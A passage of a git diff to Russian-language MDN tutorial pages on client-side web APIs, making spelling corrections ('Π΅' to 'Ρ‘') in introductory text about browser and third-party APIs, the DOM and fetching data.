ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ ΠΏΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ ΠΈ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠΏΡ†ΠΈΡŽ Β«ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ изобраТСния» (которая ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΠΎΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²Ρ‹ ). URL-адрСс ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ адрСсной строки ΠΈ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ:</p>
<pre>blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4</pre>
diff --git a/files/ru/learn/javascript/client-side_web_apis/index.html b/files/ru/learn/javascript/client-side_web_apis/index.html
index b5e7493f19..ed8a1b0a19 100644
--- a/files/ru/learn/javascript/client-side_web_apis/index.html
+++ b/files/ru/learn/javascript/client-side_web_apis/index.html
@@ -21,7 +21,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs
---
<div>{{LearnSidebar}}</div>
-<p class="summary">ΠŸΡ€ΠΈ написании клиСнтского JavaScript для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π²Π΅Π±-сайтов Π’Π°ΠΌ Π½Π΅ приходится слишком сильно ΡƒΠ³Π»ΡƒΠ±Π»ΡΡ‚ΡŒΡΡ, ΠΏΠΎΠΊΠ° Π’Ρ‹ Π½Π΅ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ APIΒ β€” интСрфСйсы управлСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ аспСктами Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ этот сайт Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΈΠ»ΠΈ ΠΆΠ΅ с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-сайтов ΠΈΠ»ΠΈ сСрвисов. Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΡ‹ рассмотрим Ρ‡Ρ‚ΠΎ API ΠΈΠ· сСбя прСдставляСт ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ самыС распространСнныС ΠΈΠ· Π½ΠΈΡ…, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅.</p>
+<p class="summary">ΠŸΡ€ΠΈ написании клиСнтского JavaScript для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π²Π΅Π±-сайтов Π’Π°ΠΌ Π½Π΅ приходится слишком сильно ΡƒΠ³Π»ΡƒΠ±Π»ΡΡ‚ΡŒΡΡ, ΠΏΠΎΠΊΠ° Π’Ρ‹ Π½Π΅ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ APIΒ β€” интСрфСйсы управлСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ аспСктами Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈΠ»ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ этот сайт Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΈΠ»ΠΈ ΠΆΠ΅ с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ с Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-сайтов ΠΈΠ»ΠΈ сСрвисов. Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΡ‹ рассмотрим Ρ‡Ρ‚ΠΎ API ΠΈΠ· сСбя прСдставляСт ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ самыС распространённыС ΠΈΠ· Π½ΠΈΡ…, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅.</p>
<h2 id="ΠŸΡ€Π΅ΠΆΠ΄Π΅_Ρ‡Π΅ΠΌ_Π½Π°Ρ‡Π°Ρ‚ΡŒ">ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π½Π°Ρ‡Π°Ρ‚ΡŒ</h2>
@@ -37,11 +37,11 @@ translation_of: Learn/JavaScript/Client-side_web_APIs
<dl>
<dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ web API</a></dt>
- <dd>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌΒ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ API с основ - Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΈΡ… Π² своСм ΠΊΠΎΠ΄Π΅ ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ структурированы? ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ рассмотрим, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ основныС классы API, ΠΈ ΠΊΠ°ΠΊ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</dd>
+ <dd>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌΒ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ API с основ - Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΈΡ… Π² своём ΠΊΠΎΠ΄Π΅ ΠΈ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ структурированы? ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ рассмотрим, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ основныС классы API, ΠΈ ΠΊΠ°ΠΊ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</dd>
<dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ</a></dt>
<dd><span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈ написании Π²Π΅Π±-страниц ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π’Ρ‹ Ρ‡Π°Ρ‰Π΅ всСго </span></span><span lang="ru"><span>Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΒ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π²Π΅Π±-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ.Β </span></span> <span id="result_box" lang="ru"><span>ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это дСлаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Document Object Model (DOM), Π½Π°Π±ΠΎΡ€Π° API-интСрфСйсов для управлСния HTML-Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΎΠΉΒ ΠΈ стилями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref ("Document")}}. </span></span><span id="result_box" lang="ru"><span>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ DOM, Π° Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ интСрСсныС API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ срСду интСрСсными способами.</span></span></dd>
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра</a></dt>
- <dd>Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΡ‡Π΅Π½ΡŒ распространСнной Π·Π°Π΄Π°Ρ‡Π΅ΠΉ Π² соврСмСнных Π²Π΅Π±-сайтах ΠΈ прилоТСниях являСтся ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра для обновлСния Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² Π²Π΅Π±-страницы Π±Π΅Π· нСобходимости Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ Π½ΠΎΠ²ΠΎΠΉ страницы. Π­Ρ‚Π°, казалось Π±Ρ‹, нСбольшая Π΄Π΅Ρ‚Π°Π»ΡŒ ΠΎΠΊΠ°Π·Π°Π»Π° ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ влияниС Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ сайтов, поэтому Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ объясним ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ ΠΈ рассмотрим Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ это, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("XMLHttpRequest")}} ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</dd>
+ <dd>Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΡ‡Π΅Π½ΡŒ распространённой Π·Π°Π΄Π°Ρ‡Π΅ΠΉ Π² соврСмСнных Π²Π΅Π±-сайтах ΠΈ прилоТСниях являСтся ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… элСмСнтов Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра для обновлСния Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² Π²Π΅Π±-страницы Π±Π΅Π· нСобходимости Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ Π½ΠΎΠ²ΠΎΠΉ страницы. Π­Ρ‚Π°, казалось Π±Ρ‹, нСбольшая Π΄Π΅Ρ‚Π°Π»ΡŒ ΠΎΠΊΠ°Π·Π°Π»Π° ΠΎΠ³Ρ€ΠΎΠΌΠ½ΠΎΠ΅ влияниС Π½Π° ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ сайтов, поэтому Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ объясним ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ ΠΈ рассмотрим Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ это, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{domxref("XMLHttpRequest")}} ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">Π‘Ρ‚ΠΎΡ€ΠΎΠ½Π½ΠΈΠ΅ API</a></dt>
<dd>API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ рассматривали Π΄ΠΎ сих ΠΏΠΎΡ€, встроСны Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π½ΠΎ Π½Π΅ всС API встроСны Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. МногиС ΠΊΡ€ΡƒΠΏΠ½Ρ‹Π΅ Π²Π΅Π±-сайты ΠΈ сСрвисы, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Google Maps, Twitter, Facebook, PayPal ΠΈ Ρ‚.Π΄.Β ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ API-интСрфСйсы, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свои Π΄Π°Π½Π½Ρ‹Π΅ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ ваш Twitter-ΠΏΠΎΡ‚ΠΎΠΊ Π² вашСм Π±Π»ΠΎΠ³Π΅) ΠΈΠ»ΠΈ сСрвисы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΡ… ΠΊΠ°Ρ€Ρ‚ Google Π½Π° вашСм сайтС, ΠΈΠ»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Ρ…ΠΎΠ΄Π° Π² систСму Facebook для Π²Ρ…ΠΎΠ΄Π° Π² систСму ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ). Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ рассматриваСтся Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ сторонними API ΠΈ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠ΅ использованиС послСднСго.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">РисованиС Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ</a></dt>
diff --git a/files/ru/learn/javascript/client-side_web_apis/introduction/index.html b/files/ru/learn/javascript/client-side_web_apis/introduction/index.html
index 089ee32bab..322ff509a5 100644
--- a/files/ru/learn/javascript/client-side_web_apis/introduction/index.html
+++ b/files/ru/learn/javascript/client-side_web_apis/introduction/index.html
@@ -43,7 +43,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction
<p>Для JavaScript Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, Π² частности, сущСствуСт мноТСство API. Они Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π°ΡΡ‚ΡŒΡŽ языка, Π° построСны с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ встроСнных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ JavaScript для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΡ‚ΡŒ ваши возмоТности ΠΏΡ€ΠΈ написании ΠΊΠΎΠ΄Π°. Π˜Ρ… ΠΌΠΎΠΆΠ½ΠΎ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° Π΄Π²Π΅ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ:</p>
<ul>
- <li><strong>API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</strong> встроСны Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ способны ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ срСды для осущСствлСния Π±ΠΎΠ»Π΅Π΅ слоТных дСйствий с этими Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">API Π“Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ (Geolocation API)</a> прСдоставляСт простыС Π² использовании конструкции JavaScript для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ мСстополоТСния, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ смоТСтС, допустим, ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ своС располоТСниС Π½Π° ΠΊΠ°Ρ€Ρ‚Π΅ Google Map. На самом Π΄Π΅Π»Π΅, Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ выполняСтся слоТный Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹ΠΉ ΠΊΠΎΠ΄ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° C++) для ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ устройству GPS (ΠΈΠ»ΠΈ Π»ΡŽΠ±ΠΎΠΌΡƒ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ устройству Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ), получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ вашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ, Π½ΠΎ, ΠΊΠ°ΠΊ Π±Ρ‹Π»ΠΎ сказано Π²Ρ‹ΡˆΠ΅, эти Π΄Π΅Ρ‚Π°Π»ΠΈ скрыты благодаря API.</li>
+ <li><strong>API Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</strong> встроСны Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ способны ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ срСды для осущСствлСния Π±ΠΎΠ»Π΅Π΅ слоТных дСйствий с этими Π΄Π°Π½Π½Ρ‹ΠΌΠΈ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">API Π“Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ (Geolocation API)</a> прСдоставляСт простыС Π² использовании конструкции JavaScript для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ мСстополоТСния, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π²Ρ‹ смоТСтС, допустим, ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ своё располоТСниС Π½Π° ΠΊΠ°Ρ€Ρ‚Π΅ Google Map. На самом Π΄Π΅Π»Π΅, Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ выполняСтся слоТный Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹ΠΉ ΠΊΠΎΠ΄ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° C++) для ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ ΠΊ устройству GPS (ΠΈΠ»ΠΈ Π»ΡŽΠ±ΠΎΠΌΡƒ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ устройству Π³Π΅ΠΎΠ»ΠΎΠΊΠ°Ρ†ΠΈΠΈ), получСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ вашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ, Π½ΠΎ, ΠΊΠ°ΠΊ Π±Ρ‹Π»ΠΎ сказано Π²Ρ‹ΡˆΠ΅, эти Π΄Π΅Ρ‚Π°Π»ΠΈ скрыты благодаря API.</li>
<li><strong>Π‘Ρ‚ΠΎΡ€ΠΎΠ½Π½ΠΈΠ΅ API</strong> Π½Π΅ встроСны Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π’Π°ΠΊΠΈΠ΅ API ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π½ΠΈΡ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΊΠ°Ρ‚ΡŒ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. НапримСр, <a href="https://dev.twitter.com/overview/documentation">Twitter API</a> позволяСт Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ послСдниС Ρ‚Π²ΠΈΡ‚Ρ‹ (tweets) Π½Π° вашСм Π²Π΅Π±-сайтС. Π’ Π΄Π°Π½Π½ΠΎΠΌ API ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π½Π°Π±ΠΎΡ€ конструкций, ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡŽΡ‰ΠΈΡ… запросы ΠΊ сСрвисам Twitter ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΡ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</li>
</ul>
diff --git a/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html
index a0e35bc998..f9ce1ece00 100644
--- a/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html
+++ b/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html
@@ -31,9 +31,9 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents
<h2 id="Π’Π°ΠΆΠ½Ρ‹Π΅_элСмСнты_Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°">Π’Π°ΠΆΠ½Ρ‹Π΅ элСмСнты Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</h2>
-<p>Π’Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ - ΠΎΡ‡Π΅Π½ΡŒ слоТныС части ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния с мноТСством двиТущихся частСй, ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ ΠΈΠ»ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ с использованиСм JavaScript. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΈΠ΅ ограничСния - это ΠΏΠ»ΠΎΡ…ΠΎ, Π½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΏΠΎ ΡƒΠ²Π°ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ (Π² основном Ρ€Π°Π΄ΠΈ бСзопасности). 